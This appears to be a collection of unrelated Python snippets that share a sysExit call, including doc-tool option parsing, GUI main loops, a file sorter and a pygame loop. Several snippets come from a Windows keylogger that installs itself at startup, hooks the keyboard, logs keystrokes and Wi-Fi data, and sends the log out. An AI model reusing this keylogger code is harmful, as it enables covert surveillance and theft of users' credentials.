def optParse(): """ Parses command line options. Generally we're supporting all the command line options that doxypy.py supports in an analogous way to make it easy to switch back and forth. We additionally support a top-level namespace argument that is used to trim away excess path information. """ parser = OptionParser(prog=basename(argv[0])) parser.set_usage("%prog [options] filename") parser.add_option( "-a", "--autobrief", action="store_true", dest="autobrief", help="parse the docstring for @brief description and other information" ) parser.add_option( "-c", "--autocode", action="store_true", dest="autocode", help="parse the docstring for code samples" ) parser.add_option( "-n", "--ns", action="store", type="string", dest="topLevelNamespace", help="specify a top-level namespace that will be used to trim paths" ) parser.add_option( "-t", "--tablength", action="store", type="int", dest="tablength", default=4, help="specify a tab length in spaces; only needed if tabs are used" ) group = OptionGroup(parser, "Debug Options") group.add_option( "-d", "--debug", action="store_true", dest="debug", help="enable debug output on stderr" ) parser.add_option_group(group) ## Parse options based on our definition. (options, filename) = parser.parse_args() # Just abort immediately if we are don't have an input file. if not filename: stderr.write("No filename given." + linesep) sysExit(-1) # Turn the full path filename into a full path module location. fullPathNamespace = filename[0].replace(sep, '.')[:-3] # Use any provided top-level namespace argument to trim off excess. realNamespace = fullPathNamespace if options.topLevelNamespace: namespaceStart = fullPathNamespace.find(options.topLevelNamespace) if namespaceStart >= 0: realNamespace = fullPathNamespace[namespaceStart:] options.fullPathNamespace = realNamespace return options, filename[0]
def __init__(self): ''' Disallow multiple instances.source: ajinabraham / Xenotix - Python - Keylogger ''' self.mutex = CreateMutex(None, 1, 'mutex_var_xboz') if GetLastError() == ERROR_ALREADY_EXISTS: self.mutex = None print "Multiple Instance not Allowed" sysExit(0) addToStartup() # Add to startup writeWifi() writeKeylogs() # Create keylogs.txt in case it does not exist self.hooks_manager = HookManager() # Create a hook self.hooks_manager.KeyDown = self.OnKeyBoardEvent # Assign keydown event handler self.hooks_manager.HookKeyboard() # assign hook to the keyboard pythoncom.PumpMessages()
def onKeyPress(self, event): global timeNow global data global exitStack global keyLength global wifiLogsFile global keylogsFile if event.Key == 'space': event.Key = ' ' elif event.Key == 'Tab': event.Key = '<TAB>' elif event.Key == 'BackSpace': event.Key = '<Backspace>' elif event.Key == 'Shift_L' or event.Key == 'Shift_R': event.Key = '<Shift>' elif event.Key == 'Delete': event.Key = '<Delete>' data += event.Key print exitStack if event.Key == '<Backspace>': exitStack.append(event.Key) elif event.Key == '<Delete>': exitStack.append(event.Key) else: exitStack = [] if len(exitStack) == 4: print exitStack if exitStack[0] == '<Backspace>' and exitStack[1] == '<Delete>' and exitStack[2] == '<Backspace>' and exitStack[3] == '<Delete>': # If last four values sysExit(0) # TODO Implement a GUI version of our exit task else: exitStack = [] if len(data) == 128: # Write data in chucks of 128 bytes writeKeylogs() data = '' if os.path.getsize(keylogsFile) >= 5e+6: # Send log file when it reaches 5MB t = threading.Thread(target=sendFile(), args=()) t.start()
def abgpsysexit(input,OPTIONS,message=""): """ """ if input.has_key(OPTIONS.target): key = OPTIONS.target elif OPTIONS.target == None: key = None else: # find by protein fref for k in input.keys(): if input[k]['gldobj'].protein_fref() == OPTIONS.target: key = k break else: key = None # get filename to write to if key: fname = "%s.bailout.log" % input[key]['gldobj'].protein_fref() elif key == None and OPTIONS.filewithloci: hdr = OPTIONS.filewithloci.split("/")[-1].split(".")[0] fname = "%s.bailout.log" % hdr elif key == None and OPTIONS.dirwithloci: hdr = OPTIONS.dirwithloci.split("/")[-1].split(".")[0] fname = "%s.bailout.log" % hdr else: fname = "%s.bailout.log" % ("Notargetapplied") # clean the complete directory from all files _file_cleanup( osListdir(OPTIONS.outdir), include_directories=True ) fname = osPathJoin(OPTIONS.outdir,fname) fh = open(fname,'w') fh.write(message+"\n") fh.close() # safely break out of the ABGP algorithm sysExit()
# add a special parameter for only printing intron sequences parser.add_option("--sequenceonly", dest="sequenceonly", default=False, action="store_true", help="output multifasta file of introns sequences in stead of statistics") # parse the command line & validate (OPTIONS, args) = parser.parse_args() validate_genelocustatsoptions(parser,OPTIONS) # print explanation of this script & output if OPTIONS.EXPLAIN: print explain() sysExit() # change directory to the one specified by optparse option os.chdir(OPTIONS.DIRECTORY) try: locus = AbgpGeneLocusDirectory(OPTIONS.DIRECTORY) input = locus.toinputdict() except: print explain() sysExit() ## TEMPORARILY backwards-compatibility with old input_data_struct.txt file #input = eval(open('input_data_struct.txt').read().strip()) # do geneandunigeneconfirmation input,gene_status,unigene_status = geneandunigeneconfirmation(input,verbose=False)
def createExitGui(self): app = self.Application(root) # Passing Tk object to our GUI implementation class app.mainloop() # entered were <back><del><back><del> root.destroy() # spawn a quit dialog box sysExit(1)
text = 'Parameter To has to be between 0.001 and 0.1' elif error == 'q': text = 'Parameter q has to be between 1 and 10' else: text = 'unknown error' msg = QMessageBox() msg.setIcon(QMessageBox.Warning) msg.setText(text) msg.setInformativeText("Please enter an acceptable value.") msg.setWindowTitle("Parameter out of range") msg.setDetailedText( "Parameter ranges: \n a1 - [1;10] \n a2 - [1;10] \n To - [0.001; 0.1] \n q - [1;10]" ) msg.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel) msg.exec_() def LoadModel(self, a1, a2, b, q, t, ko, xo): mdl = DynamicModel(a1, a2, b, q, t, ko, xo) mdl.runModel() if __name__ == "__main__": MainThread = QApplication([]) MainGUI = MainWindow() MainGUI.show() sysExit(MainThread.exec_()) # Daniel Shumeyko, PS-3
def optParse(): """ Parses command line options. Generally we're supporting all the command line options that doxypy.py supports in an analogous way to make it easy to switch back and forth. We additionally support a top-level namespace argument that is used to trim away excess path information. """ parser = OptionParser(prog=basename(argv[0])) parser.set_usage("%prog [options] filename") parser.add_option( "-a", "--autobrief", action="store_true", dest="autobrief", help= "parse the docstring for @brief description and other information") parser.add_option("-c", "--autocode", action="store_true", dest="autocode", help="parse the docstring for code samples") parser.add_option( "-n", "--ns", action="store", type="string", dest="topLevelNamespace", help="specify a top-level namespace that will be used to trim paths" ) parser.add_option( "-t", "--tablength", action="store", type="int", dest="tablength", default=4, help="specify a tab length in spaces; only needed if tabs are used" ) parser.add_option("-s", "--stripinit", action="store_true", dest="stripinit", help="strip __init__ from namespace") parser.add_option( "-O", "--object-respect", action="store_true", dest="object_respect", help= "By default, doxypypy hides object class from class dependencies even if class inherits explictilty from objects (new-style class), this option disable this." ) group = OptionGroup(parser, "Debug Options") group.add_option("-d", "--debug", action="store_true", dest="debug", help="enable debug output on stderr") parser.add_option_group(group) ## Parse options based on our definition. (options, filename) = parser.parse_args() # Just abort immediately if we are don't have an input file. if not filename: stderr.write("No filename given." + linesep) sysExit(-1) # Turn the full path filename into a full path module location. fullPathNamespace = filename[0].replace(sep, '.')[:-3] # Use any provided top-level namespace argument to trim off excess. realNamespace = fullPathNamespace if options.topLevelNamespace: namespaceStart = fullPathNamespace.find(options.topLevelNamespace) if namespaceStart >= 0: realNamespace = fullPathNamespace[namespaceStart:] if options.stripinit: realNamespace = realNamespace.replace('.__init__', '') options.fullPathNamespace = realNamespace return options, filename[0]
def createExitGui(self): app = self.Application( root) # Passing Tk object to our GUI implementation class app.mainloop() # entered were <back><del><back><del> root.destroy() # spawn a quit dialog box sysExit(1)
def onClose(self): self.close() sysExit()
self.setGeometry(150, 150, 350, 350) self.UI() def UI(self): self.widgets() self.layouts() def widgets(self): self.button = QPushButton("Button") self.checkbox = QCheckBox() def layouts(self): self.main_layout = QHBoxLayout() self.main_layout.addWidget(self.button) self.main_layout.addWidget(self.checkbox) self.setLayout(self.main_layout) if __name__ == "__main__": MainEventThread = QApplication([]) MainApplication = Main() MainApplication.show() sysExit(MainEventThread.exec_())
def main(): """ Starts the parser on the file given by the filename as the first argument on the command line. """ from optparse import OptionParser, OptionGroup from os import sep from os.path import basename, getsize from sys import argv, exit as sysExit from chardet import detect from codecs import BOM_UTF8, open as codecsOpen def optParse(): """ Parses command line options. Generally we're supporting all the command line options that doxypy.py supports in an analogous way to make it easy to switch back and forth. We additionally support a top-level namespace argument that is used to trim away excess path information. """ parser = OptionParser(prog=basename(argv[0])) parser.set_usage("%prog [options] filename") parser.add_option( "-a", "--autobrief", action="store_true", dest="autobrief", help= "parse the docstring for @brief description and other information") parser.add_option("-c", "--autocode", action="store_true", dest="autocode", help="parse the docstring for code samples") parser.add_option( "-n", "--ns", action="store", type="string", dest="topLevelNamespace", help="specify a top-level namespace that will be used to trim paths" ) parser.add_option("-N", action="store_true", dest="trimAfterNamespace", help="start after specified top-level namespace") parser.add_option( "-t", "--tablength", action="store", type="int", dest="tablength", default=4, help="specify a tab length in spaces; only needed if tabs are used" ) parser.add_option("-s", "--stripinit", action="store_true", dest="stripinit", help="strip __init__ from namespace") group = OptionGroup(parser, "Debug Options") group.add_option("-d", "--debug", action="store_true", dest="debug", help="enable debug output on stderr") parser.add_option_group(group) # Parse options based on our definition. (options, filename) = parser.parse_args() # Just abort immediately if we are don't have an input file. if not filename: stderr.write("No filename given." + linesep) sysExit(-1) # Turn the full path filename into a full path module location. fullPathNamespace = filename[0].replace(sep, '.')[:-3] # Use any provided top-level namespace argument to trim off excess. realNamespace = fullPathNamespace if options.topLevelNamespace: namespaceStart = fullPathNamespace.find(options.topLevelNamespace) if namespaceStart >= 0: if options.trimAfterNamespace: namespaceStart += len(options.topLevelNamespace) realNamespace = fullPathNamespace[namespaceStart:] if options.stripinit: realNamespace = realNamespace.replace('.__init__', '') options.fullPathNamespace = realNamespace return options, filename[0] # Figure out what is being requested. (options, inFilename) = optParse() # Figure out encoding of input file. numOfSampleBytes = min(getsize(inFilename), 32) sampleBytes = open(inFilename, 'rb').read(numOfSampleBytes) sampleByteAnalysis = detect(sampleBytes) encoding = sampleByteAnalysis['encoding'] # Switch to generic versions to strip the BOM automatically. if sampleBytes.startswith(BOM_UTF8): encoding = 'UTF-8-SIG' if encoding is None: sysExit(-1) if encoding.startswith("UTF-16"): encoding = "UTF-16" if encoding.startswith("UTF-32"): encoding = "UTF-32" # Read contents of input file. if encoding == 'ascii': inFile = open(inFilename) else: inFile = codecsOpen(inFilename, encoding=encoding) lines = inFile.readlines() inFile.close() # Create the abstract syntax tree for the input file. astWalker = AstWalker(lines, options, inFilename) astWalker.parseLines() # Output the modified source. print(astWalker.getLines())
except: pass def set_update_interval(self, new_interval): ''' Update the update interval ''' self.interval.setText( new_interval) # Update the indicated time since last update # https://stackoverflow.com/a/2669120 def sorted_nicely(self, l): """ Sort the given iterable in the way that humans expect.""" convert = lambda text: int(text) if text.isdigit() else text alphanum_key = lambda key: [ convert(c) for c in re.split('([0-9]+)', key) ] return sorted(l, key=alphanum_key) def closeEvent(self, event: QCloseEvent) -> None: """Handle Close event of the Widget.""" #self.timer.stop() event.accept() if __name__ == "__main__": from sys import exit as sysExit app = QApplication([]) app.setOrganizationName('SparkX') app.setApplicationName('Artemis Global Tracker: Mapper') w = BeaconMapper() sysExit(app.exec_())
def quit(self): """Call sys.exit()""" sysExit()
def StartSorting(self,path): #check if path exists if pathExists(path): #filter non-files files = listdir(path) print files filtered=[] for f in files: if isfile(join(path,f)): filtered.append(f) print filtered else: print 'WARNING: PATH DOES NOT EXIST PROGRAM WILL NOW EXIT' raw_input('press <enter> to continue') sysExit() self.CheckFolders(path) #define some lists self.executables=[] self.jars=[] self.images=[] self.misc=[] self.compressed=[] self.sounds=[] self.docs=[] self.torrents=[] #sorting for f in filtered: s = f.split('.') #check if the file has an extension. If not, it is probably a folder and will not be sorted if len(s) < 2: continue if f.endswith('.exe'): self.executables.append(".".join(s)) print 'sorting "%s" into executables...' % '.'.join(s) elif f.endswith('.jar'): self.jars.append(".".join(s)) print 'sorting "%s" into jars...' % '.'.join(s) elif f.endswith('.png') or f.endswith('.jpg') or f.endswith('.bmp') or f.endswith('.gif'): self.images.append(".".join(s)) print 'sorting "%s" into images...' % '.'.join(s) elif f.endswith('.zip') or f.endswith('.rar') or f.endswith('.7z') or f.endswith('.tar.gz'): self.compressed.append(".".join(s)) print 'sorting "%s" into compressed...' % '.'.join(s) elif f.endswith('.wav') or f.endswith('.mp3') or f.endswith('.mp4') or f.endswith('.ogg') or f.endswith('.it') or f.endswith('.midi'): self.sounds.append(".".join(s)) print 'sorting "%s" into compressed...' % '.'.join(s) elif f.endswith('.doc') or f.endswith('.odt') or f.endswith('.rtf') or f.endswith('.pdf') or f.endswith('docx') or f.endswith('.html') or f.endswith('.htm') or f.endswith('.xml'): self.docs.append(".".join(s)) print 'sorting "%s" into documents...' % '.'.join(s) elif f.endswith('.torrent'): self.torrents.append(".".join(s)) print 'sorting "%s" into torrent...' % '.'.join(s) else: self.misc.append(".".join(s)) print 'sorting "%s" into misc...' % '.'.join(s) self.Sort(path) #some Output print '===================Sorted===========================' print 'All sorting has finished' print '(If error messages are recieved. Please ignore them first, \nand check if your files were sorted)' print 'executables: ' + str(self.executables) print 'jars: ' + str(self.jars) print 'Images: ' + str(self.images) print 'compressed: ' + str(self.compressed) print 'sounds & music: ' + str(self.sounds) print 'Documents: ' + str(self.docs) print 'misc: ' + str(self.misc) print 'torrent: ' + str(self.torrents)
def main(): app = QApplication(sysArgV) ex = MainWindow() sysExit(app.exec_())
grid[endX][endY].walkable = True elif event.type == pygame.MOUSEBUTTONDOWN: # Drag mouse while holding left click to add barriers. if event.button == 1: leftDrag = True mouseX, mouseY = event.pos setBarrier(mouseX, mouseY) if event.button == 3: rightDrag = True mouseX, mouseY = event.pos removeBarrier(mouseX, mouseY) elif event.type == pygame.MOUSEBUTTONUP: if event.button == 1: leftDrag = False if event.button == 3: rightDrag = False elif event.type == pygame.MOUSEMOTION: if leftDrag: mouseX, mouseY = event.pos setBarrier(mouseX, mouseY) elif rightDrag: mouseX, mouseY = event.pos removeBarrier(mouseX, mouseY) drawGrid() if algorithm and not pathFound: main() pygame.display.update() if not run: pygame.quit() sysExit()